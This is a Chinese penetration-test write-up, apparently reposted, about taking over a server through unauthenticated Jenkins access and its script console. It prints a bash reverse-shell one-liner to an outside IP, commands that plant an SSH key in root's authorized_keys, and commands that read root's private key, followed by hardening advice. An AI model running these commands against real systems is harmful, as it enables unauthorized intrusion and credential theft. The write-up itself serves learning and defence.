利用Jenkins未授權獲取服務器權限--Docker還來干擾--一次滲透的經歷


Jenkins獲取權限的過程



Jenkins存在未授權訪問漏洞


Jenkins存在未授權訪問漏洞,且項目具有讀取權限,通過項目的日志獲取到一個賬號密碼,嘗試登錄成功,打開控制台成功。

執行命令嘗試反彈shell


在對話框中嘗試反彈shell,本地NC監聽中,發行不行,嘗試ping回來,發現網絡不通,隨即希望正想shell

println 'bash -i >& /dev/tcp/192.168.100.2/4444 0>&1'.execute().text

嘗試正向shell


嘗試綁定shell

首先確定系統有的命令和賬號權限

println 'id'.execute().text
println 'whoami'.execute().text
println 'ls -l /usr/bin/'.execute().text

發現root權限,curl和wget都有,git也有(jenkins肯定有),嘗試互聯網訪問是否可達

println 'curl -v https://www.baidu.com'.execute().text

開始下載正向綁定shell的腳本運行失敗。

嘗試上傳自己的公鑰

隨即傳上去自己的公鑰,嘗試ssh登錄失敗

println 'echo 公鑰內容 >> /root/.ssh/authroized_keys'.execute().text

本地主機登錄ssh失敗

ssh -i 私鑰 a.b.c.d

查看.ssh目錄發現已有的私鑰

經過大牛指點,繼續嘗試搜索主機

println 'ls /root/.ssh/'.execute().text
println 'cat /root/.ssh/id_rsa'.execute().text()

保存在本地私鑰,嘗試登錄成功

ssh -i id_rsa a.b.c.d

Docker的干擾



登上去之后查看失敗原因:

原來服務是Docker起的,我綁定的正向shell監聽的端口也好,上傳的自己的公鑰也好都在docker里,而我嘗試登錄的是宿主機,所以一直有問題,而最后的成功,也是因為docker和宿主機使用了同一套公私鑰

安全建議



  • 1、不要配置Jenkinis匿名登錄(未登錄狀態)有任何權限包括讀取權限也不行;

  • 2、不要使用弱口令;

  • 3、docker打包時候檢查,宿主機環境也要檢查,不使用沒有key的秘鑰,公私鑰不要存放在一起,docker和宿主機不要使用同一套公私鑰;


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM